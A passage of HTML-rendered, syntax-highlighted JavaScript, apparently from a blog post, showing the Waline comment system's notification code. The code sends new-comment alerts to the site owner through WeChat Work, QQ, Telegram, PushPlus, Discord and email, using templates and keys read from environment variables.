class="string">【评论者邮箱】：&#123;&#123;self.mail&#125;&#125; </span></span><br><span class="line"><span class="string">【评论者IP】：&#123;&#123;self.ip&#125;&#125; (&#123;&#123;self.addr&#125;&#125;)</span></span><br><span class="line"><span class="string">【登陆设备】：&#123;&#123;self.browser&#125;&#125; </span></span><br><span class="line"><span class="string">【内容】：&#123;&#123;self.comment&#125;&#125; </span></span><br><span class="line"><span class="string">&lt;a href=&#x27;&#123;&#123;site.postUrl&#125;&#125;&#x27;&gt;查看详情&lt;/a&gt;`</span>;</span><br><span class="line"></span><br><span class="line">    title = nunjucks.<span class="title function_">renderString</span>(title, data);</span><br><span class="line">    <span class="keyword">const</span> desp = nunjucks.<span class="title function_">renderString</span>(contentWechat, data);</span><br><span class="line"></span><br><span class="line">    content = desp.<span class="title function_">replace</span>(<span class="regexp">/\n/g</span>, <span class="string">&#x27;&lt;br/&gt;&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> querystring = <span class="keyword">new</span> <span class="title class_">URLSearchParams</span>();</span><br><span class="line"></span><br><span class="line">    querystring.<span class="title function_">set</span>(<span class="string">&#x27;corpid&#x27;</span>, <span class="string">`<span class="subst">$&#123;QYWX_AM_AY[<span class="number">0</span>]&#125;</span>`</span>);</span><br><span class="line">    querystring.<span class="title function_">set</span>(<span class="string">&#x27;corpsecret&#x27;</span>, <span class="string">`<span class="subst">$&#123;QYWX_AM_AY[<span class="number">1</span>]&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> &#123; access_token &#125; = <span class="keyword">await</span> <span class="title function_">fetch</span>(</span><br><span class="line">      <span class="string">`https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=<span class="subst">$&#123;QYWX_AM_AY[<span class="number">0</span>]&#125;</span>&amp;corpsecret=<span class="subst">$&#123;QYWX_AM_AY[<span class="number">1</span>]&#125;</span>`</span>,</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="attr">method</span>: <span class="string">&#x27;GET&#x27;</span>,</span><br><span class="line">      &#125;</span><br><span class="line">    ).<span class="title function_">then</span>(<span class="function">(<span class="params">resp</span>) =&gt;</span> resp.<span class="title function_">json</span>());</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 发送消息</span></span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">fetch</span>(</span><br><span class="line">      <span class="string">`https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=<span class="subst">$&#123;access_token&#125;</span>`</span>,</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span><br><span class="line">        <span class="attr">headers</span>: &#123;</span><br><span class="line">          <span class="string">&#x27;content-type&#x27;</span>: <span class="string">&#x27;application/json&#x27;</span>,</span><br><span class="line">        &#125;,</span><br><span class="line">        <span class="attr">body</span>: <span class="title class_">JSON</span>.<span class="title function_">stringify</span>(&#123;</span><br><span class="line">          <span class="attr">touser</span>: <span class="string">`<span class="subst">$&#123;QYWX_AM_AY[<span class="number">2</span>]&#125;</span>`</span>,</span><br><span class="line">          <span class="attr">agentid</span>: <span class="string">`<span class="subst">$&#123;QYWX_AM_AY[<span class="number">3</span>]&#125;</span>`</span>,</span><br><span class="line">          <span class="attr">msgtype</span>: <span class="string">&#x27;mpnews&#x27;</span>,</span><br><span class="line">          <span class="attr">mpnews</span>: &#123;</span><br><span class="line">            <span class="attr">articles</span>: [</span><br><span class="line">              &#123;</span><br><span class="line">                title,</span><br><span class="line">                <span class="attr">thumb_media_id</span>: <span class="string">`<span class="subst">$&#123;QYWX_AM_AY[<span class="number">4</span>]&#125;</span>`</span>,</span><br><span class="line">                <span class="attr">author</span>: <span class="string">`Waline Comment`</span>,</span><br><span class="line">                <span class="attr">content_source_url</span>: <span class="string">`<span class="subst">$&#123;data.site.postUrl&#125;</span>`</span>,</span><br><span class="line">                <span class="attr">content</span>: <span class="string">`<span class="subst">$&#123;content&#125;</span>`</span>,</span><br><span class="line">                <span class="attr">digest</span>: <span class="string">`<span class="subst">$&#123;desp&#125;</span>`</span>,</span><br><span class="line">              &#125;,</span><br><span class="line">            ],</span><br><span class="line">          &#125;,</span><br><span class="line">          <span class="attr">text</span>: &#123; <span class="attr">content</span>: <span class="string">`<span class="subst">$&#123;content&#125;</span>`</span> &#125;,</span><br><span class="line">        &#125;),</span><br><span class="line">      &#125;</span><br><span class="line">    ).<span class="title function_">then</span>(<span class="function">(<span class="params">resp</span>) =&gt;</span> resp.<span class="title function_">json</span>());</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">async</span> <span class="title function_">qq</span>(<span class="params">self, parent</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123; <span class="variable constant_">QMSG_KEY</span>, <span class="variable constant_">QQ_ID</span>, <span class="variable constant_">SITE_NAME</span>, <span class="variable constant_">SITE_URL</span> &#125; = process.<span class="property">env</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!<span class="variable constant_">QMSG_KEY</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> comment = self.<span class="property">comment</span></span><br><span class="line">      .<span class="title function_">replace</span>(<span class="regexp">/&lt;a href=&quot;(.*?)&quot;&gt;(.*?)&lt;\/a&gt;/g</span>, <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">      .<span class="title function_">replace</span>(<span class="regexp">/&lt;[^&gt;]+&gt;/g</span>, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> data = &#123;</span><br><span class="line">      <span class="attr">self</span>: &#123;</span><br><span class="line">        ...self,</span><br><span class="line">        comment,</span><br><span class="line">      &#125;,</span><br><span class="line">      parent,</span><br><span class="line">      <span class="attr">site</span>: &#123;</span><br><span class="line">        <span class="attr">name</span>: <span class="variable constant_">SITE_NAME</span>,</span><br><span class="line">        <span class="attr">url</span>: <span class="variable constant_">SITE_URL</span>,</span><br><span class="line">        <span class="attr">postUrl</span>: <span class="variable constant_">SITE_URL</span> + self.<span class="property">url</span> + <span class="string">&#x27;#&#x27;</span> + self.<span class="property">objectId</span>,</span><br><span class="line">      &#125;,</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> contentQQ =</span><br><span class="line">      think.<span class="title function_">config</span>(<span class="string">&#x27;QQTemplate&#x27;</span>) ||</span><br><span class="line">      <span class="string">`💬 &#123;&#123;site.name|safe&#125;&#125; 有新评论啦</span></span><br><span class="line"><span class="string">&#123;&#123;self.nick&#125;&#125; 评论道：</span></span><br><span class="line"><span class="string">&#123;&#123;self.comment&#125;&#125;</span></span><br><span class="line"><span class="string">仅供预览评论，请前往上述页面查看完整內容。`</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> form = <span class="keyword">new</span> <span class="title class_">FormData</span>();</span><br><span class="line"></span><br><span class="line">    form.<span class="title function_">append</span>(<span class="string">&#x27;msg&#x27;</span>, nunjucks.<span class="title function_">renderString</span>(contentQQ, data));</span><br><span class="line">    form.<span class="title function_">append</span>(<span class="string">&#x27;qq&#x27;</span>, <span class="variable constant_">QQ_ID</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">fetch</span>(<span class="string">`https://qmsg.zendee.cn/send/<span class="subst">$&#123;QMSG_KEY&#125;</span>`</span>, &#123;</span><br><span class="line">      <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span><br><span class="line">      <span class="attr">header</span>: form.<span class="title function_">getHeaders</span>(),</span><br><span class="line">      <span class="attr">body</span>: form,</span><br><span class="line">    &#125;).<span class="title function_">then</span>(<span class="function">(<span class="params">resp</span>) =&gt;</span> resp.<span class="title function_">json</span>());</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">async</span> <span class="title function_">telegram</span>(<span class="params">self, parent</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123; <span class="variable constant_">TG_BOT_TOKEN</span>, <span class="variable constant_">TG_CHAT_ID</span>, <span class="variable constant_">SITE_NAME</span>, <span class="variable constant_">SITE_URL</span> &#125; = process.<span class="property">env</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!<span class="variable constant_">TG_BOT_TOKEN</span> || !<span class="variable constant_">TG_CHAT_ID</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> commentLink = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">    <span class="keyword">const</span> href = self.<span class="property">comment</span>.<span class="title function_">match</span>(<span class="regexp">/&lt;a href=&quot;(.*?)&quot;&gt;(.*?)&lt;\/a&gt;/g</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (href !== <span class="literal">null</span>) &#123;</span><br><span class="line">      <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; href.<span class="property">length</span>; i++) &#123;</span><br><span class="line">        href[i] =</span><br><span class="line">          <span class="string">&#x27;[Link: &#x27;</span> +</span><br><span class="line">          href[i].<span class="title function_">replace</span>(<span class="regexp">/&lt;a href=&quot;(.*?)&quot;&gt;(.*?)&lt;\/a&gt;/g</span>, <span class="string">&#x27;$2&#x27;</span>) +</span><br><span class="line">          <span class="string">&#x27;](&#x27;</span> +</span><br><span class="line">          href[i].<span class="title function_">replace</span>(<span class="regexp">/&lt;a href=&quot;(.*?)&quot;&gt;(.*?)&lt;\/a&gt;/g</span>, <span class="string">&#x27;$1&#x27;</span>) +</span><br><span class="line">          <span class="string">&#x27;)  &#x27;</span>;</span><br><span class="line">        commentLink = commentLink + href[i];</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (commentLink !== <span class="string">&#x27;&#x27;</span>) &#123;</span><br><span class="line">      commentLink = <span class="string">`\n`</span> + commentLink + <span class="string">`\n`</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">const</span> comment = self.<span class="property">comment</span></span><br><span class="line">      .<span class="title function_">replace</span>(<span class="regexp">/&lt;a href=&quot;(.*?)&quot;&gt;(.*?)&lt;\/a&gt;/g</span>, <span class="string">&#x27;[Link:$2]&#x27;</span>)</span><br><span class="line">      .<span class="title function_">replace</span>(<span class="regexp">/&lt;[^&gt;]+&gt;/g</span>, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> contentTG =</span><br><span class="line">      think.<span class="title function_">config</span>(<span class="string">&#x27;TGTemplate&#x27;</span>) ||</span><br><span class="line">      <span class="string">`💬 *[&#123;&#123;site.name&#125;&#125;](&#123;&#123;site.url&#125;&#125;) 有新评论啦*</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">*&#123;&#123;self.nick&#125;&#125;* 回复说：</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">\`\`\`</span></span><br><span class="line"><span class="string">&#123;&#123;self.comment-&#125;&#125;</span></span><br><span class="line"><span class="string">\`\`\`</span></span><br><span class="line"><span class="string">&#123;&#123;-self.commentLink&#125;&#125;</span></span><br><span class="line"><span class="string">*邮箱：*\`&#123;&#123;self.mail&#125;&#125;\`</span></span><br><span class="line"><span class="string">*审核：*&#123;&#123;self.status&#125;&#125; </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">仅供评论预览，点击[查看完整內容](&#123;&#123;site.postUrl&#125;&#125;)`</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> data = &#123;</span><br><span class="line">      <span class="attr">self</span>: &#123;</span><br><span class="line">        ...self,</span><br><span class="line">        comment,</span><br><span class="line">        commentLink,</span><br><span class="line">      &#125;,</span><br><span class="line">      parent,</span><br><span class="line">      <span class="attr">site</span>: &#123;</span><br><span class="line">        <span class="attr">name</span>: <span class="variable constant_">SITE_NAME</span>,</span><br><span class="line">        <span class="attr">url</span>: <span class="variable constant_">SITE_URL</span>,</span><br><span class="line">        <span class="attr">postUrl</span>: <span class="variable constant_">SITE_URL</span> + self.<span class="property">url</span> + <span class="string">&#x27;#&#x27;</span> + self.<span class="property">objectId</span>,</span><br><span class="line">      &#125;,</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> form = <span class="keyword">new</span> <span class="title class_">FormData</span>();</span><br><span class="line"></span><br><span class="line">    form.<span class="title function_">append</span>(<span class="string">&#x27;text&#x27;</span>, nunjucks.<span class="title function_">renderString</span>(contentTG, data));</span><br><span class="line">    form.<span class="title function_">append</span>(<span class="string">&#x27;chat_id&#x27;</span>, <span class="variable constant_">TG_CHAT_ID</span>);</span><br><span class="line">    form.<span class="title function_">append</span>(<span class="string">&#x27;parse_mode&#x27;</span>, <span class="string">&#x27;MarkdownV2&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">fetch</span>(<span class="string">`https://api.telegram.org/bot<span class="subst">$&#123;TG_BOT_TOKEN&#125;</span>/sendMessage`</span>, &#123;</span><br><span class="line">      <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span><br><span class="line">      <span class="attr">header</span>: form.<span class="title function_">getHeaders</span>(),</span><br><span class="line">      <span class="attr">body</span>: form,</span><br><span class="line">    &#125;).<span class="title function_">then</span>(<span class="function">(<span class="params">resp</span>) =&gt;</span> resp.<span class="title function_">json</span>());</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">async</span> <span class="title function_">pushplus</span>(<span class="params">&#123; title, content &#125;, self, parent</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123;</span><br><span class="line">      <span class="variable constant_">PUSH_PLUS_KEY</span>,</span><br><span class="line">      <span class="attr">PUSH_PLUS_TOPIC</span>: topic,</span><br><span class="line">      <span class="attr">PUSH_PLUS_TEMPLATE</span>: template,</span><br><span class="line">      <span class="attr">PUSH_PLUS_CHANNEL</span>: channel,</span><br><span class="line">      <span class="attr">PUSH_PLUS_WEBHOOK</span>: webhook,</span><br><span class="line">      <span class="attr">PUSH_PLUS_CALLBACKURL</span>: callbackUrl,</span><br><span class="line">      <span class="variable constant_">SITE_NAME</span>,</span><br><span class="line">      <span class="variable constant_">SITE_URL</span>,</span><br><span class="line">    &#125; = process.<span class="property">env</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!<span class="variable constant_">PUSH_PLUS_KEY</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> data = &#123;</span><br><span class="line">      self,</span><br><span class="line">      parent,</span><br><span class="line">      <span class="attr">site</span>: &#123;</span><br><span class="line">        <span class="attr">name</span>: <span class="variable constant_">SITE_NAME</span>,</span><br><span class="line">        <span class="attr">url</span>: <span class="variable constant_">SITE_URL</span>,</span><br><span class="line">        <span class="attr">postUrl</span>: <span class="variable constant_">SITE_URL</span> + self.<span class="property">url</span> + <span class="string">&#x27;#&#x27;</span> + self.<span class="property">objectId</span>,</span><br><span class="line">      &#125;,</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    title = nunjucks.<span class="title function_">renderString</span>(title, data);</span><br><span class="line">    content = nunjucks.<span class="title function_">renderString</span>(content, data);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> form = <span class="keyword">new</span> <span class="title class_">FormData</span>();</span><br><span class="line"></span><br><span class="line">    form.<span class="title function_">append</span>(<span class="string">&#x27;topic&#x27;</span>, topic);</span><br><span class="line">    form.<span class="title function_">append</span>(<span class="string">&#x27;template&#x27;</span>, template);</span><br><span class="line">    form.<span class="title function_">append</span>(<span class="string">&#x27;channel&#x27;</span>, channel);</span><br><span class="line">    form.<span class="title function_">append</span>(<span class="string">&#x27;webhook&#x27;</span>, webhook);</span><br><span class="line">    form.<span class="title function_">append</span>(<span class="string">&#x27;callbackUrl&#x27;</span>, callbackUrl);</span><br><span class="line">    form.<span class="title function_">append</span>(<span class="string">&#x27;title&#x27;</span>, title);</span><br><span class="line">    form.<span class="title function_">append</span>(<span class="string">&#x27;content&#x27;</span>, content);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">fetch</span>(<span class="string">`http://www.pushplus.plus/send/<span class="subst">$&#123;PUSH_PLUS_KEY&#125;</span>`</span>, &#123;</span><br><span class="line">      <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span><br><span class="line">      <span class="attr">header</span>: form.<span class="title function_">getHeaders</span>(),</span><br><span class="line">      <span class="attr">body</span>: form,</span><br><span class="line">    &#125;).<span class="title function_">then</span>(<span class="function">(<span class="params">resp</span>) =&gt;</span> resp.<span class="title function_">json</span>());</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">async</span> <span class="title function_">discord</span>(<span class="params">&#123; title, content &#125;, self, parent</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123; <span class="variable constant_">DISCORD_WEBHOOK</span>, <span class="variable constant_">SITE_NAME</span>, <span class="variable constant_">SITE_URL</span> &#125; = process.<span class="property">env</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!<span class="variable constant_">DISCORD_WEBHOOK</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> data = &#123;</span><br><span class="line">      self,</span><br><span class="line">      parent,</span><br><span class="line">      <span class="attr">site</span>: &#123;</span><br><span class="line">        <span class="attr">name</span>: <span class="variable constant_">SITE_NAME</span>,</span><br><span class="line">        <span class="attr">url</span>: <span class="variable constant_">SITE_URL</span>,</span><br><span class="line">        <span class="attr">postUrl</span>: <span class="variable constant_">SITE_URL</span> + self.<span class="property">url</span> + <span class="string">&#x27;#&#x27;</span> + self.<span class="property">objectId</span>,</span><br><span class="line">      &#125;,</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    title = nunjucks.<span class="title function_">renderString</span>(title, data);</span><br><span class="line">    content = nunjucks.<span class="title function_">renderString</span>(</span><br><span class="line">      think.<span class="title function_">config</span>(<span class="string">&#x27;DiscordTemplate&#x27;</span>) ||</span><br><span class="line">        <span class="string">`💬 &#123;&#123;site.name|safe&#125;&#125; 有新评论啦 </span></span><br><span class="line"><span class="string">    【评论者昵称】：&#123;&#123;self.nick&#125;&#125;</span></span><br><span class="line"><span class="string">    【评论者邮箱】：&#123;&#123;self.mail&#125;&#125; </span></span><br><span class="line"><span class="string">    【内容】：&#123;&#123;self.comment&#125;&#125; </span></span><br><span class="line"><span class="string">    【地址】：&#123;&#123;site.postUrl&#125;&#125;`</span>,</span><br><span class="line">      data</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> form = <span class="keyword">new</span> <span class="title class_">FormData</span>();</span><br><span class="line"></span><br><span class="line">    form.<span class="title function_">append</span>(<span class="string">&#x27;content&#x27;</span>, <span class="string">`<span class="subst">$&#123;title&#125;</span>\n<span class="subst">$&#123;content&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">fetch</span>(<span class="variable constant_">DISCORD_WEBHOOK</span>, &#123;</span><br><span class="line">      <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span><br><span class="line">      <span class="attr">header</span>: form.<span class="title function_">getHeaders</span>(),</span><br><span class="line">      <span class="attr">body</span>: form,</span><br><span class="line">    &#125;).<span class="title function_">then</span>(<span class="function">(<span class="params">resp</span>) =&gt;</span> resp.<span class="title function_">json</span>());</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">async</span> <span class="title function_">run</span>(<span class="params">comment, parent, disableAuthorNotify = <span class="literal">false</span></span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123; <span class="variable constant_">AUTHOR_EMAIL</span>, <span class="variable constant_">BLOGGER_EMAIL</span>, <span class="variable constant_">DISABLE_AUTHOR_NOTIFY</span> &#125; = process.<span class="property">env</span>;</span><br><span class="line">    <span class="keyword">const</span> &#123; mailSubject, mailTemplate, mailSubjectAdmin, mailTemplateAdmin &#125; =</span><br><span class="line">      think.<span class="title function_">config</span>();</span><br><span class="line">    <span class="keyword">const</span> <span class="variable constant_">AUTHOR</span> = <span class="variable constant_">AUTHOR_EMAIL</span> || <span class="variable constant_">BLOGGER_EMAIL</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> mailList = [];</span><br><span class="line">    <span class="keyword">const</span> isAuthorComment = <span class="variable constant_">AUTHOR</span></span><br><span class="line">      ? comment.<span class="property">mail</span>.<span class="title function_">toLowerCase</span>() === <span class="variable constant_">AUTHOR</span>.<span class="title function_">toLowerCase</span>()</span><br><span class="line">      : <span class="literal">false</span>;</span><br><span class="line">    <span class="keyword">const</span> isReplyAuthor = <span class="variable constant_">AUTHOR</span></span><br><span class="line">      ? parent &amp;&amp; parent.<span class="property">mail</span>.<span class="title function_">toLowerCase</span>() === <span class="variable constant_">AUTHOR</span>.<span class="title function_">toLowerCase</span>()</span><br><span class="line">      : <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> title = mailSubjectAdmin || <span class="string">&#x27;&#123;&#123;site.name | safe&#125;&#125; 上有新评论了&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> content =</span><br><span class="line">      mailTemplateAdmin ||</span><br><span class="line">      <span class="string">`</span></span><br><span class="line"><span class="string">    &lt;div style=&quot;border-top:2px solid #12ADDB;box-shadow:0 1px 3px #AAAAAA;line-height:180%;padding:0 15px 12px;margin:50px auto;font-size:12px;&quot;&gt;</span></span><br><span class="line"><span class="string">      &lt;h2 style=&quot;border-bottom:1px solid #DDD;font-size:14px;font-weight:normal;padding:13px 0 10px 8px;&quot;&gt;</span></span><br><span class="line"><span class="string">        您在&lt;a style=&quot;text-decoration:none;color: #12ADDB;&quot; href=&quot;&#123;&#123;site.url&#125;&#125;&quot; target=&quot;_blank&quot;&gt;&#123;&#123;site.name&#125;&#125;&lt;/a&gt;上的文章有了来自&#123;&#123;self.ip&#125;&#125;(&#123;&#123;self.addr&#125;&#125;)的新评论,登陆设备&#123;&#123;self.browser&#125;&#125;</span></span><br><span class="line"><span class="string">      &lt;/h2&gt;</span></span><br><span class="line"><span class="string">      &lt;p&gt;&lt;strong&gt;&#123;&#123;self.nick&#125;&#125;(&#123;&#123;self.mail&#125;&#125;)&lt;/strong&gt;回复说：&lt;/p&gt;</span></span><br><span class="line"><span class="string">      &lt;div style=&quot;background-color: #f5f5f5;padding: 10px 15px;margin:18px 0;word-wrap:break-word;&quot;&gt;</span></span><br><span class="line"><span class="string">        &#123;&#123;self.comment | safe&#125;&#125;</span></span><br><span class="line"><span class="string">      &lt;/div&gt;</span></span><br><span class="line"><span class="string">      &lt;p&gt;您可以点击&lt;a style=&quot;text-decoration:none; color:#12addb&quot; href=&quot;&#123;&#123;site.postUrl&#125;&#125;&quot; target=&quot;_blank&quot;&gt;查看回复的完整內容&lt;/a&gt;&lt;/p&gt;</span></span><br><span class="line"><span class="string">      &lt;br/&gt;</span></span><br><span class="line"><span class="string">    &lt;/div&gt;`</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!<span class="variable constant_">DISABLE_AUTHOR_NOTIFY</span> &amp;&amp; !isAuthorComment &amp;&amp; !disableAuthorNotify) &#123;</span><br><span class="line">      <span class="keyword">const</span> wechat = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="title function_">wechat</span>(&#123; title, content &#125;, comment, parent);</span><br><span class="line">      <span class="keyword">const</span> qywxAmWechat = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="title function_">qywxAmWechat</span>(</span><br><span class="line">        &#123; title, content &#125;,</span><br><span class="line">        comment,</span><br><span class="line">        parent</span><br><span class="line">      );</span><br><span class="line">      <span class="keyword">const</span> qq = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="title function_">qq</span>(comment, parent);</span><br><span class="line">      <span class="keyword">const</span> telegram = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="title function_">telegram</span>(comment, parent);</span><br><span class="line">      <span class="keyword">const</span> pushplus = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="title function_">pushplus</span>(&#123; title, content &#125;, comment, parent);</span><br><span class="line">      <span class="keyword">const</span> discord = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="title function_">discord</span>(&#123; title, content &#125;, comment, parent);</span><br><span class="line"></span><br><span class="line">      mailList.<span class="title function_">push</span>(&#123; <span class="attr">to</span>: <span class="variable constant_">AUTHOR</span>, title, content &#125;);</span><br><span class="line">      <span class="keyword">if</span> (</span><br><span class="line">        [wechat, qq, telegram, qywxAmWechat, pushplus, discord].<span class="title function_">every</span>(</span><br><span class="line">          think.<span class="property">isEmpty</span></span><br><span class="line">        ) &amp;&amp;</span><br><span class="line">        !isReplyAuthor</span><br><span class="line">      ) &#123;</span><br><span class="line">        mailList.<span class="title function_">push</span>(&#123; <span class="attr">to</span>: <span class="variable constant_">AUTHOR</span>, title, content &#125;);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> disallowList = [<span class="string">&#x27;github&#x27;</span>, <span class="string">&#x27;twitter&#x27;</span>, <span class="string">&#x27;facebook&#x27;</span>].<span class="title function_">map</span>(</span><br><span class="line">      <span class="function">(<span class="params">social</span>) =&gt;</span> <span class="string">&#x27;mail.&#x27;</span> + social</span><br><span class="line">    );</span><br><span class="line">    <span class="keyword">const</span> fakeMail = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">`@(<span class="subst">$&#123;disallowList.join(<span class="string">&#x27;|&#x27;</span>)&#125;</span>)$`</span>, <span class="string">&#x27;i&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (parent &amp;&amp; !fakeMail.<span class="title function_">test</span>(parent.<span class="property">mail</span>) &amp;&amp; comment.<span class="property">status</span> !== <span class="string">&#x27;waiting&#x27;</span>) &#123;</span><br><span class="line">      mailList.<span class="title function_">push</span>(&#123;</span><br><span class="line">        <span class="attr">to</span>: parent.<span class="property">mail</span>,</span><br><span class="line">        <span class="attr">title</span>:</span><br><span class="line">          mailSubject ||</span><br><span class="line">          <span class="string">&#x27;&#123;&#123;parent.nick | safe&#125;&#125;，『&#123;&#123;site.name | safe&#125;&#125;』上的评论收到了回复&#x27;</span>,</span><br><span class="line">        <span class="attr">content</span>:</span><br><span class="line">          mailTemplate ||</span><br><span class="line">          <span class="string">`</span></span><br><span class="line"><span class="string">        &lt;div style=&quot;border-top:2px solid #12ADDB;box-shadow:0 1px 3px #AAAAAA;line-height:180%;padding:0 15px 12px;margin:50px auto;font-size:12px;&quot;&gt;</span></span><br><span class="line"><span class="string">          &lt;h2 style=&quot;border-bottom:1px solid #DDD;font-size:14px;font-weight:normal;padding:13px 0 10px 8px;&quot;&gt;        </span></span><br><span class="line"><span class="string">            您在&lt;a style=&quot;text-decoration:none;color: #12ADDB;&quot; href=&quot;&#123;&#123;site.url&#125;&#125;&quot; target=&quot;_blank&quot;&gt;&#123;&#123;site.name&#125;&#125;&lt;/a&gt;上的评论有了新的回复</span></span><br><span class="line"><span class="string">          &lt;/h2&gt;</span></span><br><span class="line"><span class="string">          &#123;&#123;parent.nick&#125;&#125; 同学，您曾发表评论：</span></span><br><span class="line"><span class="string">          &lt;div style=&quot;padding:0 12px 0 12px;margin-top:18px&quot;&gt;</span></span><br><span class="line"><span class="string">            &lt;div style=&quot;background-color: #f5f5f5;padding: 10px 15px;margin:18px 0;word-wrap:break-word;&quot;&gt;&#123;&#123;parent.comment | safe&#125;&#125;&lt;/div&gt;</span></span><br><span class="line"><span class="string">            &lt;p&gt;&lt;strong&gt;&#123;&#123;self.nick&#125;&#125;&lt;/strong&gt;回复说：&lt;/p&gt;</span></span><br><span class="line"><span class="string">            &lt;div style=&quot;background-color: #f5f5f5;padding: 10px 15px;margin:18px 0;word-wrap:break-word;&quot;&gt;&#123;&#123;self.comment | safe&#125;&#125;&lt;/div&gt;</span></span><br><span class="line"><span class="string">            &lt;p&gt;您可以点击&lt;a style=&quot;text-decoration:none; color:#12addb&quot; href=&quot;&#123;&#123;site.postUrl&#125;&#125;&quot; target=&quot;_blank&quot;&gt;查看回复的完整內容&lt;/a&gt;，欢迎再次光临&lt;a style=&quot;text-decoration:none; color:#12addb&quot; href=&quot;&#123;&#123;site.url&#125;&#125;&quot; target=&quot;_blank&quot;&gt;&#123;&#123;site.name&#125;&#125;&lt;/a&gt;。&lt;/p&gt;</span></span><br><span class="line"><span class="string">            &lt;br/&gt;</span></span><br><span class="line"><span class="string">          &lt;/div&gt;</span></span><br><span class="line"><span class="string">        &lt;/div&gt;`</span></span><br><span class="line">      &#125;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; mailList.<span class="property">length</span>; i++) &#123;</span><br><span class="line">      <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">const</span> response = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="title function_">mail</span>(mailList[i], comment, parent);</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span 